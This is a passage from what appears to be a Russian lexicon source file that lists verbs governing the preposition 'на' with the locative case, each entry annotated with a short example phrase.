деепричастие:вычитав{}, rus_verbs:сократиться{}, // сократиться на втором этапе rus_verbs:занервничать{}, // занервничать на экзамене rus_verbs:соприкоснуться{}, // соприкоснуться на трассе rus_verbs:обозначить{}, // обозначить на плане rus_verbs:обучаться{}, // обучаться на производстве rus_verbs:снизиться{}, // снизиться на большой высоте rus_verbs:простудиться{}, // простудиться на ветру rus_verbs:поддерживаться{}, // поддерживается на встрече rus_verbs:уплыть{}, // уплыть на лодочке rus_verbs:резвиться{}, // резвиться на песочке rus_verbs:поерзать{}, // поерзать на скамеечке rus_verbs:похвастаться{}, // похвастаться на встрече rus_verbs:знакомиться{}, // знакомиться на уроке rus_verbs:проплывать{}, // проплывать на катере rus_verbs:засесть{}, // засесть на чердаке rus_verbs:подцепить{}, // подцепить на дискотеке rus_verbs:обыскать{}, // обыскать на входе rus_verbs:оправдаться{}, // оправдаться на суде rus_verbs:раскрываться{}, // раскрываться на сцене rus_verbs:одеваться{}, // одеваться на вещевом рынке rus_verbs:засветиться{}, // засветиться на фотографиях rus_verbs:употребляться{}, // употребляться на птицефабриках rus_verbs:грабить{}, // грабить на пустыре rus_verbs:гонять{}, // гонять на повышенных оборотах rus_verbs:развеваться{}, // развеваться на древке rus_verbs:основываться{}, // основываться на безусловных фактах rus_verbs:допрашивать{}, // допрашивать на базе rus_verbs:проработать{}, // проработать на стройке rus_verbs:сосредоточить{}, // сосредоточить на месте rus_verbs:сочинять{}, // сочинять на ходу rus_verbs:ползать{}, // ползать на камне rus_verbs:раскинуться{}, // раскинуться на пустыре rus_verbs:уставать{}, // уставать на работе rus_verbs:укрепить{}, // укрепить на конце rus_verbs:образовывать{}, // образовывать на открытом воздухе взрывоопасную смесь rus_verbs:одобрять{}, // одобрять на словах rus_verbs:приговорить{}, // приговорить на заседании тройки rus_verbs:чернеть{}, // чернеть на свету rus_verbs:гнуть{}, // гнуть на станке rus_verbs:размещаться{}, // размещаться на бирже rus_verbs:соорудить{}, // соорудить на даче rus_verbs:пастись{}, // пастись на лугу rus_verbs:формироваться{}, // формироваться на дне rus_verbs:таить{}, // таить на дне rus_verbs:приостановиться{}, // приостановиться на середине rus_verbs:топтаться{}, // топтаться на месте rus_verbs:громить{}, // громить на подступах rus_verbs:вычислить{}, // вычислить на бумажке rus_verbs:заказывать{}, // заказывать на сайте rus_verbs:осуществить{}, // осуществить на практике rus_verbs:обосноваться{}, // обосноваться на верхушке rus_verbs:пытать{}, // пытать на электрическом стуле rus_verbs:совершиться{}, // совершиться на заседании rus_verbs:свернуться{}, // свернуться на медленном огне rus_verbs:пролетать{}, // пролетать на дельтаплане rus_verbs:сбыться{}, // сбыться на самом деле rus_verbs:разговориться{}, // разговориться на уроке rus_verbs:разворачиваться{}, // разворачиваться на перекрестке rus_verbs:преподнести{}, // преподнести на блюдечке rus_verbs:напечатать{}, // напечатать на лазернике rus_verbs:прорвать{}, // прорвать на периферии rus_verbs:раскачиваться{}, // раскачиваться на доске rus_verbs:задерживаться{}, // задерживаться на старте rus_verbs:угощать{}, // угощать на вечеринке rus_verbs:шарить{}, // шарить на столе rus_verbs:увеличивать{}, // увеличивать на первом этапе rus_verbs:рехнуться{}, // рехнуться на старости лет rus_verbs:расцвести{}, // расцвести на грядке rus_verbs:закипеть{}, // закипеть на плите rus_verbs:подлететь{}, // подлететь на параплане rus_verbs:рыться{}, // рыться на свалке rus_verbs:добираться{}, // добираться на попутках rus_verbs:продержаться{}, // продержаться на вершине rus_verbs:разыскивать{}, // разыскивать на выставках rus_verbs:освобождать{}, // освобождать на заседании rus_verbs:передвигаться{}, // передвигаться на самокате rus_verbs:проявиться{}, // проявиться на свету rus_verbs:заскользить{}, // заскользить на льду rus_verbs:пересказать{}, // пересказать на сцене студенческого театра rus_verbs:протестовать{}, // протестовать на улице rus_verbs:указываться{}, // указываться на табличках rus_verbs:прискакать{}, // прискакать на лошадке rus_verbs:копошиться{}, // копошиться на свежем воздухе rus_verbs:подсчитать{}, // подсчитать на бумажке rus_verbs:разволноваться{}, // разволноваться на экзамене rus_verbs:завертеться{}, // завертеться на полу rus_verbs:ознакомиться{}, // ознакомиться на ходу rus_verbs:ржать{}, // ржать на уроке rus_verbs:раскинуть{}, // раскинуть на грядках rus_verbs:разгромить{}, // разгромить на ринге rus_verbs:подслушать{}, // подслушать на совещании rus_verbs:описываться{}, // описываться на страницах книги rus_verbs:качаться{}, // качаться на стуле rus_verbs:усилить{}, // усилить на флангах rus_verbs:набросать{}, // набросать на клочке картона rus_verbs:расстреливать{}, // расстреливать на подходе rus_verbs:запрыгать{}, // запрыгать на одной ноге rus_verbs:сыскать{}, // сыскать на чужбине rus_verbs:подтвердиться{}, // подтвердиться на практике rus_verbs:плескаться{}, // плескаться на мелководье rus_verbs:расширяться{}, // расширяться на конце rus_verbs:подержать{}, // подержать на солнце rus_verbs:планироваться{}, // планироваться на общем собрании rus_verbs:сгинуть{}, // сгинуть на чужбине rus_verbs:замкнуться{}, // замкнуться на точке rus_verbs:закачаться{}, // закачаться на ветру rus_verbs:перечитывать{}, // перечитывать на ходу rus_verbs:перелететь{}, // перелететь на дельтаплане rus_verbs:оживать{}, // оживать на солнце rus_verbs:женить{}, // женить на богатой невесте rus_verbs:заглохнуть{}, // заглохнуть на старте rus_verbs:копаться{}, // копаться на полу rus_verbs:развлекаться{}, // развлекаться на дискотеке rus_verbs:печататься{}, // печататься на струйном принтере rus_verbs:обрываться{}, // обрываться на полуслове rus_verbs:ускакать{}, // ускакать на лошадке rus_verbs:подписывать{}, // подписывать на столе rus_verbs:добывать{}, // добывать на выработке rus_verbs:скопиться{}, // скопиться на выходе rus_verbs:повстречать{}, // повстречать на пути rus_verbs:поцеловаться{}, // поцеловаться на площади rus_verbs:растянуть{}, // растянуть на столе rus_verbs:подаваться{}, // подаваться на благотворительном обеде rus_verbs:повстречаться{}, // повстречаться на митинге rus_verbs:примоститься{}, // примоститься на ступеньках rus_verbs:отразить{}, // отразить на страницах доклада rus_verbs:пояснять{}, // пояснять на страницах приложения rus_verbs:накормить{}, // накормить на кухне rus_verbs:поужинать{}, // поужинать на веранде инфинитив:спеть{ вид:соверш }, глагол:спеть{ вид:соверш }, // спеть на митинге деепричастие:спев{}, инфинитив:спеть{ вид:несоверш }, глагол:спеть{ вид:несоверш }, rus_verbs:топить{}, // топить на мелководье rus_verbs:освоить{}, // освоить на практике rus_verbs:распластаться{}, // распластаться на травке rus_verbs:отплыть{}, // отплыть на старом каяке rus_verbs:улетать{}, // улетать на любом самолете rus_verbs:отстаивать{}, // отстаивать на корте rus_verbs:осуждать{}, // осуждать на словах rus_verbs:переговорить{}, // переговорить на обеде rus_verbs:укрыть{}, // укрыть на чердаке rus_verbs:томиться{}, // томиться на привязи rus_verbs:сжигать{}, // сжигать на полигоне rus_verbs:позавтракать{}, // позавтракать на лоне природы rus_verbs:функционировать{}, // функционирует на солнечной энергии rus_verbs:разместить{}, // разместить на сайте rus_verbs:пронести{}, // пронести на теле rus_verbs:нашарить{}, // нашарить на столе rus_verbs:корчиться{}, // корчиться на полу rus_verbs:распознать{}, // распознать на снимке rus_verbs:повеситься{}, // повеситься на шнуре rus_verbs:обозначиться{}, // обозначиться на картах rus_verbs:оступиться{}, // оступиться на скользком льду rus_verbs:подносить{}, // подносить на блюдечке rus_verbs:расстелить{}, // расстелить на газоне rus_verbs:обсуждаться{}, // обсуждаться на собрании rus_verbs:расписаться{}, // расписаться на бланке rus_verbs:плестись{}, // плестись на привязи rus_verbs:объявиться{}, // объявиться на сцене rus_verbs:повышаться{}, // повышаться на первом датчике rus_verbs:разрабатывать{}, // разрабатывать на заводе rus_verbs:прерывать{}, // прерывать на середине rus_verbs:каяться{}, // каяться на публике rus_verbs:освоиться{}, // освоиться на лошади rus_verbs:подплыть{}, // подплыть на плоту rus_verbs:оскорбить{}, // оскорбить на митинге rus_verbs:торжествовать{}, // торжествовать на пьедестале rus_verbs:поправлять{}, // поправлять на одежде rus_verbs:отражать{}, // отражать на картине rus_verbs:дремать{}, // дремать на кушетке rus_verbs:применяться{}, // применяться на производстве стали rus_verbs:поражать{}, // поражать на большой дистанции rus_verbs:расстрелять{}, // расстрелять на окраине хутора rus_verbs:рассчитать{}, // рассчитать на калькуляторе rus_verbs:записывать{}, // записывать на ленте rus_verbs:перебирать{}, // перебирать на ладони rus_verbs:разбиться{}, // разбиться на катере rus_verbs:поискать{}, // поискать на ферме rus_verbs:прятать{}, // прятать на заброшенном складе rus_verbs:пропеть{}, // пропеть на эстраде rus_verbs:замелькать{}, // замелькать на экране rus_verbs:грустить{}, // грустить на веранде rus_verbs:крутить{}, // крутить на оси rus_verbs:подготовить{}, // подготовить на конспиративной квартире rus_verbs:различать{}, // различать на картинке rus_verbs:киснуть{}, // киснуть на чужбине rus_verbs:оборваться{}, // оборваться на полуслове rus_verbs:запутаться{}, // запутаться на простейшем тесте rus_verbs:общаться{}, // общаться на уроке rus_verbs:производиться{}, // производиться на фабрике rus_verbs:сочинить{}, // сочинить на досуге rus_verbs:давить{}, // давить на лице rus_verbs:разработать{}, // разработать на секретном предприятии rus_verbs:качать{}, // качать на качелях rus_verbs:тушить{}, // тушить на крыше пожар rus_verbs:охранять{}, // охранять на территории базы rus_verbs:приметить{}, // приметить на взгорке rus_verbs:скрыть{}, // скрыть на теле rus_verbs:удерживать{}, // удерживать на руке rus_verbs:усвоить{}, // усвоить на уроке rus_verbs:растаять{}, // растаять на солнечной стороне rus_verbs:красоваться{}, // красоваться на виду rus_verbs:сохраняться{}, // сохраняться на холоде rus_verbs:лечить{}, // лечить на дому rus_verbs:прокатиться{}, // прокатиться на уницикле rus_verbs:договариваться{}, // договариваться на нейтральной территории rus_verbs:качнуться{}, // качнуться на одной ноге rus_verbs:опубликовать{}, // опубликовать на сайте rus_verbs:отражаться{}, // отражаться на поверхности воды rus_verbs:обедать{}, // обедать на веранде rus_verbs:посидеть{}, // посидеть на лавочке rus_verbs:сообщаться{}, // сообщаться на официальном сайте rus_verbs:свершиться{}, // свершиться на заседании rus_verbs:ночевать{}, // ночевать на даче rus_verbs:темнеть{}, // темнеть на свету rus_verbs:гибнуть{}, // гибнуть на территории полигона rus_verbs:усиливаться{}, // усиливаться на территории округа rus_verbs:проживать{}, // проживать на даче rus_verbs:исследовать{}, // исследовать на большой глубине rus_verbs:обитать{}, // обитать на громадной глубине rus_verbs:сталкиваться{}, // сталкиваться на большой высоте rus_verbs:таиться{}, // таиться на большой глубине rus_verbs:спасать{}, // спасать на пожаре rus_verbs:сказываться{}, // сказываться на общем результате rus_verbs:заблудиться{}, // заблудиться на стройке rus_verbs:пошарить{}, // пошарить на полках rus_verbs:планировать{}, // планировать на бумаге rus_verbs:ранить{}, // ранить на полигоне rus_verbs:хлопать{}, // хлопать на сцене rus_verbs:основать{}, // основать на горе новый монастырь rus_verbs:отбить{}, // отбить на столе rus_verbs:отрицать{}, // отрицать на заседании комиссии rus_verbs:устоять{}, // устоять на ногах rus_verbs:отзываться{}, // отзываться на страницах отчёта rus_verbs:притормозить{}, // притормозить на обочине rus_verbs:читаться{}, // читаться на лице rus_verbs:заиграть{}, // заиграть на саксофоне rus_verbs:зависнуть{}, // зависнуть на игровой площадке rus_verbs:сознаться{}, // сознаться на допросе rus_verbs:выясняться{}, // выясняться на очной ставке rus_verbs:наводить{}, // наводить на столе порядок rus_verbs:покоиться{}, // покоиться на кладбище rus_verbs:значиться{}, // значиться на бейджике rus_verbs:съехать{}, // съехать на санках rus_verbs:познакомить{}, // познакомить на свадьбе rus_verbs:завязать{}, // завязать на спине rus_verbs:грохнуть{}, // грохнуть на площади rus_verbs:разъехаться{}, // разъехаться на узкой дороге rus_verbs:столпиться{}, // столпиться на крыльце rus_verbs:порыться{}, // порыться на полках rus_verbs:ослабить{}, // ослабить на шее rus_verbs:оправдывать{}, // оправдывать на суде rus_verbs:обнаруживаться{}, // обнаруживаться на складе rus_verbs:спастись{}, // спастись на дереве rus_verbs:прерваться{}, // прерваться на полуслове rus_verbs:строиться{}, // строиться на пустыре rus_verbs:познать{}, // познать на практике rus_verbs:путешествовать{}, // путешествовать на поезде rus_verbs:побеждать{}, // побеждать на ринге rus_verbs:рассматриваться{}, // рассматриваться на заседании rus_verbs:продаваться{}, // продаваться на открытом рынке rus_verbs:разместиться{}, // разместиться на базе rus_verbs:завыть{}, // завыть на холме rus_verbs:настигнуть{}, // настигнуть на окраине rus_verbs:укрыться{}, // укрыться на чердаке rus_verbs:расплакаться{}, // расплакаться на заседании комиссии rus_verbs:заканчивать{}, // заканчивать на последнем задании rus_verbs:пролежать{}, // пролежать на столе rus_verbs:громоздиться{}, // громоздиться на полу rus_verbs:замерзнуть{}, // замерзнуть на открытом воздухе rus_verbs:поскользнуться{}, // поскользнуться на льду rus_verbs:таскать{}, // таскать на спине rus_verbs:просматривать{}, // просматривать на сайте rus_verbs:обдумать{}, // обдумать на досуге rus_verbs:гадать{}, // гадать на кофейной гуще rus_verbs:останавливать{}, // останавливать на выходе rus_verbs:обозначать{}, // обозначать на странице rus_verbs:долететь{}, // долететь на спортивном байке rus_verbs:тесниться{}, // тесниться на чердачке rus_verbs:хоронить{}, // хоронить на частном кладбище rus_verbs:установиться{}, // установиться на юге rus_verbs:прикидывать{}, // прикидывать на клочке бумаги rus_verbs:затаиться{}, // затаиться на дереве rus_verbs:раздобыть{}, // раздобыть на складе rus_verbs:перебросить{}, // перебросить на вертолетах rus_verbs:захватывать{}, // захватывать на базе rus_verbs:сказаться{}, // сказаться на итоговых оценках rus_verbs:покачиваться{}, // покачиваться на волнах rus_verbs:крутиться{}, // крутиться на кухне rus_verbs:помещаться{}, // помещаться на полке rus_verbs:питаться{}, // питаться на помойке rus_verbs:отдохнуть{}, // отдохнуть на загородной вилле rus_verbs:кататься{}, // кататься на велике rus_verbs:поработать{}, // поработать на стройке rus_verbs:ограбить{}, // ограбить на пустыре rus_verbs:зарабатывать{}, // зарабатывать на бирже rus_verbs:преуспеть{}, // преуспеть на ниве искусства rus_verbs:заерзать{}, // заерзать на стуле rus_verbs:разъяснить{}, // разъяснить на полях rus_verbs:отчеканить{}, // отчеканить на медной пластине rus_verbs:торговать{}, // торговать на рынке rus_verbs:поколебаться{}, // поколебаться на пороге rus_verbs:прикинуть{}, // прикинуть на бумажке rus_verbs:рассечь{}, // рассечь на тупом конце rus_verbs:посмеяться{}, // посмеяться на переменке rus_verbs:остыть{}, // остыть на морозном воздухе rus_verbs:запереться{}, // запереться на чердаке rus_verbs:обогнать{}, // обогнать на повороте rus_verbs:подтянуться{}, // подтянуться на турнике rus_verbs:привозить{}, // привозить на машине rus_verbs:подбирать{}, // подбирать на полу rus_verbs:уничтожать{}, // уничтожать на подходе rus_verbs:притаиться{}, // притаиться на вершине rus_verbs:плясать{}, // плясать на костях rus_verbs:поджидать{}, // поджидать на вокзале rus_verbs:закончить{}, // Мы закончили игру на самом интересном месте (САМ не может быть первым прилагательным в цепочке!) rus_verbs:смениться{}, // смениться на посту rus_verbs:посчитать{}, // посчитать на пальцах rus_verbs:прицелиться{}, // прицелиться на бегу rus_verbs:нарисовать{}, // нарисовать на стене rus_verbs:прыгать{}, // прыгать на сцене rus_verbs:повертеть{}, // повертеть на пальце rus_verbs:попрощаться{}, // попрощаться на панихиде инфинитив:просыпаться{ вид:соверш }, глагол:просыпаться{ вид:соверш }, // просыпаться на диване rus_verbs:разобрать{}, // разобрать на столе rus_verbs:помереть{}, // помереть на чужбине rus_verbs:различить{}, // различить на нечеткой фотографии rus_verbs:рисовать{}, // рисовать на доске rus_verbs:проследить{}, // проследить на экране rus_verbs:задремать{}, // задремать на диване rus_verbs:ругаться{}, // ругаться на людях rus_verbs:сгореть{}, // сгореть на работе rus_verbs:зазвучать{}, // зазвучать на коротких волнах rus_verbs:задохнуться{}, // задохнуться на вершине горы rus_verbs:порождать{}, // порождать на поверхности небольшую рябь rus_verbs:отдыхать{}, // отдыхать на курорте rus_verbs:образовать{}, // образовать на дне толстый слой rus_verbs:поправиться{}, // поправиться на дармовых харчах rus_verbs:отмечать{}, // отмечать на календаре rus_verbs:реять{}, // реять на флагштоке rus_verbs:ползти{}, // ползти на коленях rus_verbs:продавать{}, // продавать на аукционе rus_verbs:сосредоточиться{}, // сосредоточиться на основной задаче rus_verbs:рыскать{}, // мышки рыскали на кухне rus_verbs:расстегнуть{}, // расстегнуть на куртке все пуговицы rus_verbs:напасть{}, // напасть на территории другого государства rus_verbs:издать{}, // издать на западе rus_verbs:оставаться{}, // оставаться на страже порядка rus_verbs:появиться{}, // наконец появиться на экране rus_verbs:лежать{}, // лежать на столе rus_verbs:ждать{}, // ждать на берегу инфинитив:писать{aux stress="пис^ать"}, // писать на бумаге глагол:писать{aux stress="пис^ать"}, rus_verbs:оказываться{}, // оказываться на полу rus_verbs:поставить{}, // поставить на столе rus_verbs:держать{}, // держать на крючке rus_verbs:выходить{}, // выходить на остановке rus_verbs:заговорить{}, // заговорить на китайском языке rus_verbs:ожидать{}, // ожидать на стоянке rus_verbs:закричать{}, // закричал на минарете муэдзин rus_verbs:простоять{}, // простоять на посту rus_verbs:продолжить{}, // продолжить на первом этаже rus_verbs:ощутить{}, // ощутить на себе влияние кризиса rus_verbs:состоять{}, // состоять на учете rus_verbs:готовиться{}, инфинитив:акклиматизироваться{вид:несоверш}, // альпинисты готовятся акклиматизироваться на новой высоте глагол:акклиматизироваться{вид:несоверш}, rus_verbs:арестовать{}, // грабители были арестованы на месте преступления rus_verbs:схватить{}, // грабители были схвачены на месте преступления инфинитив:атаковать{ вид:соверш }, // взвод был атакован на границе глагол:атаковать{ вид:соверш }, прилагательное:атакованный{ вид:соверш }, прилагательное:атаковавший{ вид:соверш }, rus_verbs:базировать{}, // установка будет базирована на границе rus_verbs:базироваться{}, // установка базируется на границе rus_verbs:барахтаться{}, // дети барахтались на мелководье rus_verbs:браконьерить{}, // Охотники браконьерили ночью на реке rus_verbs:браконьерствовать{}, // Охотники ночью браконьерствовали на реке rus_verbs:бренчать{}, // парень что-то бренчал на гитаре rus_verbs:бренькать{}, // парень что-то бренькает на гитаре rus_verbs:начать{}, // Рынок акций РФ начал торги на отрицательной территории. rus_verbs:буксовать{}, // Колеса буксуют на льду rus_verbs:вертеться{}, // Непоседливый ученик много вертится на стуле rus_verbs:взвести{}, // Боец взвел на оружии предохранитель rus_verbs:вилять{}, // Машина сильно виляла на дороге rus_verbs:висеть{}, // Яблоко висит на ветке rus_verbs:возлежать{}, // возлежать на лежанке rus_verbs:подниматься{}, // Мы поднимаемся на лифте rus_verbs:подняться{}, // Мы поднимемся на лифте rus_verbs:восседать{}, // Коля восседает на лошади rus_verbs:воссиять{}, // Луна воссияла на небе rus_verbs:воцариться{}, // Мир воцарился на всей земле rus_verbs:воцаряться{}, // Мир воцаряется на всей земле rus_verbs:вращать{}, // вращать на поясе rus_verbs:вращаться{}, // вращаться на поясе rus_verbs:встретить{}, // встретить друга на улице rus_verbs:встретиться{}, // встретиться на занятиях rus_verbs:встречать{}, // встречать на занятиях rus_verbs:въебывать{}, // въебывать на работе rus_verbs:въезжать{}, // въезжать на автомобиле rus_verbs:въехать{}, // въехать на автомобиле rus_verbs:выгорать{}, // ткань выгорает на солнце rus_verbs:выгореть{}, // ткань выгорела на солнце rus_verbs:выгравировать{}, // выгравировать на табличке надпись rus_verbs:выжить{}, // выжить на необитаемом острове rus_verbs:вылежаться{}, // помидоры вылежались на солнце rus_verbs:вылеживаться{}, // вылеживаться на солнце rus_verbs:выместить{}, // выместить на ком-то злобу rus_verbs:вымещать{}, // вымещать на ком-то свое раздражение rus_verbs:вымещаться{}, // вымещаться на ком-то rus_verbs:выращивать{}, // выращивать на грядке помидоры rus_verbs:выращиваться{}, // выращиваться на грядке инфинитив:вырезать{вид:соверш}, // вырезать на доске надпись глагол:вырезать{вид:соверш}, инфинитив:вырезать{вид:несоверш}, глагол:вырезать{вид:несоверш}, rus_verbs:вырисоваться{}, // вырисоваться на графике rus_verbs:вырисовываться{}, // вырисовываться на графике rus_verbs:высаживать{}, // высаживать на необитаемом острове rus_verbs:высаживаться{}, // высаживаться на острове rus_verbs:высвечивать{}, // высвечивать на дисплее температуру rus_verbs:высвечиваться{}, // высвечиваться на дисплее rus_verbs:выстроить{}, // выстроить на фундаменте rus_verbs:выстроиться{}, // выстроиться на плацу rus_verbs:выстудить{}, // выстудить на морозе rus_verbs:выстудиться{}, // выстудиться на морозе rus_verbs:выстужать{}, // выстужать на морозе rus_verbs:выстуживать{}, // выстуживать на морозе rus_verbs:выстуживаться{}, // выстуживаться на морозе rus_verbs:выстукать{}, // выстукать на клавиатуре rus_verbs:выстукивать{}, // выстукивать на клавиатуре rus_verbs:выстукиваться{}, // выстукиваться на клавиатуре rus_verbs:выступать{}, // выступать на сцене rus_verbs:выступить{}, // выступить на сцене rus_verbs:выстучать{}, // выстучать на клавиатуре rus_verbs:выстывать{}, // выстывать на морозе rus_verbs:выстыть{}, // выстыть на морозе rus_verbs:вытатуировать{}, // вытатуировать на руке якорь rus_verbs:говорить{}, // говорить на повышенных тонах rus_verbs:заметить{}, // заметить на берегу rus_verbs:стоять{}, // твёрдо стоять на ногах rus_verbs:оказаться{}, // оказаться на передовой линии rus_verbs:почувствовать{}, // почувствовать на своей шкуре rus_verbs:остановиться{}, // остановиться на первом пункте rus_verbs:показаться{}, // показаться на горизонте rus_verbs:чувствовать{}, // чувствовать на своей шкуре rus_verbs:искать{}, // искать на открытом пространстве rus_verbs:иметься{}, // иметься на складе rus_verbs:клясться{}, // клясться на Коране rus_verbs:прервать{}, // прервать на полуслове rus_verbs:играть{}, // играть на чувствах rus_verbs:спуститься{}, // спуститься на парашюте rus_verbs:понадобиться{}, // понадобиться на экзамене rus_verbs:служить{}, // служить на флоте rus_verbs:подобрать{}, // подобрать на улице rus_verbs:появляться{}, // появляться на сцене rus_verbs:селить{}, // селить на чердаке rus_verbs:поймать{}, // поймать на границе rus_verbs:увидать{}, // увидать на опушке rus_verbs:подождать{}, // подождать на перроне rus_verbs:прочесть{}, // прочесть на полях rus_verbs:тонуть{}, // тонуть на мелководье rus_verbs:ощущать{}, // ощущать на коже rus_verbs:отметить{}, // отметить на полях rus_verbs:показывать{}, // показывать на графике rus_verbs:разговаривать{}, // разговаривать на иностранном языке rus_verbs:прочитать{}, // прочитать на сайте rus_verbs:попробовать{}, // попробовать на практике rus_verbs:замечать{}, // замечать на коже грязь rus_verbs:нести{}, // нести на плечах rus_verbs:носить{}, // носить на голове rus_verbs:гореть{}, // гореть на работе rus_verbs:застыть{}, // застыть на пороге инфинитив:жениться{ вид:соверш }, // жениться на королеве глагол:жениться{ вид:соверш }, прилагательное:женатый{}, прилагательное:женившийся{}, rus_verbs:спрятать{}, // спрятать на чердаке rus_verbs:развернуться{}, // развернуться на плацу rus_verbs:строить{}, // строить на песке rus_verbs:устроить{}, // устроить на даче тестральный вечер rus_verbs:настаивать{}, // настаивать на выполнении приказа rus_verbs:находить{}, // находить на берегу rus_verbs:мелькнуть{}, // мелькнуть на экране rus_verbs:очутиться{}, // очутиться на опушке леса инфинитив:использовать{вид:соверш}, // использовать на работе глагол:использовать{вид:соверш}, инфинитив:использовать{вид:несоверш}, глагол:использовать{вид:несоверш}, прилагательное:использованный{}, прилагательное:использующий{}, прилагательное:использовавший{}, rus_verbs:лететь{}, // лететь на воздушном шаре rus_verbs:смеяться{}, // смеяться на сцене rus_verbs:ездить{}, // ездить на мопеде rus_verbs:заснуть{}, // заснуть на диване rus_verbs:застать{}, // застать на рабочем месте rus_verbs:очнуться{}, // очнуться на больничной койке rus_verbs:разглядеть{}, // разглядеть на фотографии rus_verbs:обойти{}, // обойти на вираже rus_verbs:удержаться{}, // удержаться на троне rus_verbs:побывать{}, // побывать на другой планете rus_verbs:заняться{}, // заняться на выходных делом rus_verbs:вянуть{}, // вянуть на солнце rus_verbs:постоять{}, // постоять на голове rus_verbs:приобрести{}, // приобрести на распродаже rus_verbs:попасться{}, // попасться на краже rus_verbs:продолжаться{}, // продолжаться на земле rus_verbs:открывать{}, // открывать на арене rus_verbs:создавать{}, // создавать на сцене rus_verbs:обсуждать{}, // обсуждать на кухне rus_verbs:отыскать{}, // отыскать на полу rus_verbs:уснуть{}, // уснуть на диване rus_verbs:задержаться{}, // задержаться на работе rus_verbs:курить{}, // курить на свежем воздухе rus_verbs:приподняться{}, // приподняться на локтях rus_verbs:установить{}, // установить на вершине rus_verbs:запереть{}, // запереть на балконе rus_verbs:синеть{}, // синеть на воздухе rus_verbs:убивать{}, // убивать на нейтральной территории rus_verbs:скрываться{}, // скрываться на даче rus_verbs:родить{}, // родить на полу rus_verbs:описать{}, // описать на страницах книги rus_verbs:перехватить{}, // перехватить на подлете rus_verbs:скрывать{}, // скрывать на даче rus_verbs:сменить{}, // сменить на посту rus_verbs:мелькать{}, // мелькать на экране rus_verbs:присутствовать{}, // присутствовать на мероприятии rus_verbs:украсть{}, // украсть на рынке rus_verbs:победить{}, // победить на ринге rus_verbs:упомянуть{}, // упомянуть на страницах романа rus_verbs:плыть{}, // плыть на старой лодке rus_verbs:повиснуть{}, // повиснуть на перекладине rus_verbs:нащупать{}, // нащупать на дне rus_verbs:затихнуть{}, // затихнуть на дне rus_verbs:построить{}, // построить на участке rus_verbs:поддерживать{}, // поддерживать на поверхности rus_verbs:заработать{}, // заработать на бирже rus_verbs:провалиться{}, // провалиться на экзамене rus_verbs:сохранить{}, // сохранить на диске rus_verbs:располагаться{}, // располагаться на софе rus_verbs:поклясться{}, // поклясться на библии rus_verbs:сражаться{}, // сражаться на арене rus_verbs:спускаться{}, // спускаться на дельтаплане rus_verbs:уничтожить{}, // уничтожить на подступах rus_verbs:изучить{}, // изучить на практике rus_verbs:рождаться{}, // рождаться на праздниках rus_verbs:прилететь{}, // прилететь на самолете rus_verbs:догнать{}, // догнать на перекрестке rus_verbs:изобразить{}, // изобразить на бумаге rus_verbs:проехать{}, // проехать на тракторе rus_verbs:приготовить{}, // приготовить на масле rus_verbs:споткнуться{}, // споткнуться на полу rus_verbs:собирать{}, // собирать на берегу rus_verbs:отсутствовать{}, // отсутствовать на тусовке rus_verbs:приземлиться{}, // приземлиться на военном аэродроме rus_verbs:сыграть{}, // сыграть на трубе rus_verbs:прятаться{}, // прятаться на даче rus_verbs:спрятаться{}, // спрятаться на чердаке rus_verbs:провозгласить{}, // провозгласить на митинге rus_verbs:изложить{}, // изложить на бумаге rus_verbs:использоваться{}, // использоваться на практике rus_verbs:замяться{}, // замяться на входе rus_verbs:раздаваться{}, // Крик ягуара раздается на краю болота rus_verbs:сверкнуть{}, // сверкнуть на солнце rus_verbs:сверкать{}, // сверкать на свету rus_verbs:задержать{}, // задержать на митинге rus_verbs:осечься{}, // осечься на первом слове rus_verbs:хранить{}, // хранить на банковском счету rus_verbs:шутить{}, // шутить на уроке rus_verbs:кружиться{}, // кружиться на балу rus_verbs:чертить{}, // чертить на доске rus_verbs:отразиться{}, // отразиться на оценках rus_verbs:греть{}, // греть на солнце rus_verbs:рассуждать{}, // рассуждать на страницах своей книги rus_verbs:окружать{}, // окружать на острове rus_verbs:сопровождать{}, // сопровождать на охоте rus_verbs:заканчиваться{}, // заканчиваться на самом интересном месте rus_verbs:содержаться{}, // содержаться на приусадебном участке rus_verbs:поселиться{}, // поселиться на даче rus_verbs:запеть{}, // запеть на сцене инфинитив:провозить{ вид:несоверш }, // провозить на теле глагол:провозить{ вид:несоверш }, прилагательное:провезенный{}, прилагательное:провозивший{вид:несоверш}, прилагательное:провозящий{вид:несоверш}, деепричастие:провозя{}, rus_verbs:мочить{}, // мочить на месте rus_verbs:преследовать{}, // преследовать на территории другого штата rus_verbs:пролететь{}, // пролетел на параплане rus_verbs:драться{}, // драться на рапирах rus_verbs:просидеть{}, // просидеть на занятиях rus_verbs:убираться{}, // убираться на балконе rus_verbs:таять{}, // таять на солнце rus_verbs:проверять{}, // проверять на полиграфе rus_verbs:убеждать{}, // убеждать на примере rus_verbs:скользить{}, // скользить на льду rus_verbs:приобретать{}, // приобретать на распродаже rus_verbs:летать{}, // летать на метле rus_verbs:толпиться{}, // толпиться на перроне rus_verbs:плавать{}, // плавать на надувном матрасе rus_verbs:описывать{}, // описывать на страницах повести rus_verbs:пробыть{}, // пробыть на солнце слишком долго rus_verbs:застрять{}, // застрять на верхнем этаже rus_verbs:метаться{}, // метаться на полу rus_verbs:сжечь{}, // сжечь на костре rus_verbs:расслабиться{}, // расслабиться на кушетке rus_verbs:услыхать{}, // услыхать на рынке rus_verbs:удержать{}, // удержать на прежнем уровне rus_verbs:образоваться{}, // образоваться на дне rus_verbs:рассмотреть{}, // рассмотреть на поверхности чипа rus_verbs:уезжать{}, // уезжать на попутке rus_verbs:похоронить{}, // похоронить на закрытом кладбище rus_verbs:настоять{}, // настоять на пересмотре оценок rus_verbs:растянуться{}, // растянуться на горячем песке rus_verbs:покрутить{}, // покрутить на шесте rus_verbs:обнаружиться{}, // обнаружиться на болоте rus_verbs:гулять{}, // гулять на свадьбе rus_verbs:утонуть{}, // утонуть на курорте rus_verbs:храниться{}, // храниться на депозите rus_verbs:танцевать{}, // танцевать на свадьбе rus_verbs:трудиться{}, // трудиться на заводе инфинитив:засыпать{переходность:непереходный вид:несоверш}, // засыпать на кровати глагол:засыпать{переходность:непереходный вид:несоверш}, деепричастие:засыпая{переходность:непереходный вид:несоверш}, прилагательное:засыпавший{переходность:непереходный вид:несоверш}, прилагательное:засыпающий{ вид:несоверш переходность:непереходный }, // ребенок, засыпающий на руках rus_verbs:сушить{}, // сушить на открытом воздухе rus_verbs:зашевелиться{}, // зашевелиться на чердаке rus_verbs:обдумывать{}, // обдумывать на досуге rus_verbs:докладывать{}, // докладывать на научной конференции 